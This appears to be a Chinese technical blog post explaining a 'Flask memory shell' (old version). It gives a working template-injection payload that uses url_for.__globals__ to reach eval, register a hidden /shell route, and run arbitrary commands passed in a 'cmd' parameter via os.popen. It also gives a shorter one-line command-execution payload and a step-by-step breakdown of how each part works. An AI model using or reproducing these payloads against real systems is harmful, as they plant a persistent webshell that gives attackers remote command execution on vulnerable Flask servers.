flask内存马(老版)

payload:

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

1.利用flask的内置函数url_for.__globals__,可以获取该函数所在模块命名空间下的所有变量,其中包括__builtins__,自然就能利用python内置函数例如eval等
# 命令执行:{{url_for.__globals__['__builtins__']['eval']("__import__('os').system('cmd')")}}

2.找到eval后,执行了flask函数:app.add_url_rule,该函数可以自定义路由,及路由请求的处理函数
app.add_url_rule('/shell', 'shell', lambda :...)
定义了一个/shell路由,endpoint为shell(暂时可以不用理会),lambda则为一个处理路由的匿名函数
lambda:
__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
其中:
_request_ctx_stack是flask内部处理请求上下文的一个全局变量,用来区分不同请求的上下文环境,同时也是一个栈,top获取栈顶对象,再通过request.args.get可以获取栈顶对象的request对象的参数(按我理解栈顶对象应该就是请求上下文)
其中参数名为cmd,默认值为whoami,然后通过os.popen执行命令
// type(_requesr_ctx_stack) -> <class 'werkzeug.local.LocalStack'>

3.寻找eval执行代码的作用域
2的函数是eval(string, gloabl, local)中的第一个参数,而global就是string作用的作用域
在2中的函数中,需要用到两个实例,即app和_request_ctx_stack(这两个都是flask的全局变量)
所以沿用1中的url_for获取flask的web应用的全局变量,则作用域如下:
{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}

ps:

from flask import url_for


for i in url_for.__globals__:
    if '_request_ctx_stack' in i:
        print(i)
    if 'current_app' in i:
        print(i)

# 可以知道两个都是在全局变量内的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值